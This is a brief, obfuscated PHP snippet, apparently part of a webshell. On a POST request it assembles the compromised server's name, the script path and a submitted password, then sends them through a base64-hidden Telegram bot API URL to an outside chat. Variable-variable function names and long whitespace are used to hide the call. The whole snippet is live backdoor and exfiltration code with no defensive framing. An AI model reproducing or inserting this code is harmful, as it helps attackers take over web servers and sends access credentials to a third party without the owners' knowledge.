if(array_key_exists('watching',$_POST)){
${"_pwn"}="Webshell Url: ".
${"_SERVER"}["SERVER_NAME"].                                                            ${"_SERVER"}["PHP_SELF"].
"%0APassword: ".
${"_POST"}["pass"];
${"_403"}="base64_decode";
${"_406"}="file_get_contents";
$_406($_403("aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdDU0OTM4NjQxMTg6QUFHOVE1MEl2YU5mcjBPbkFTdlQ2MktCSmd1ekNyMkpnbDgvc2VuZE1lc3NhZ2U/Y2hhdF9pZD1AY0dWc1pYSWdhM1ZrWVEmdGV4dD0=").$_pwn);
}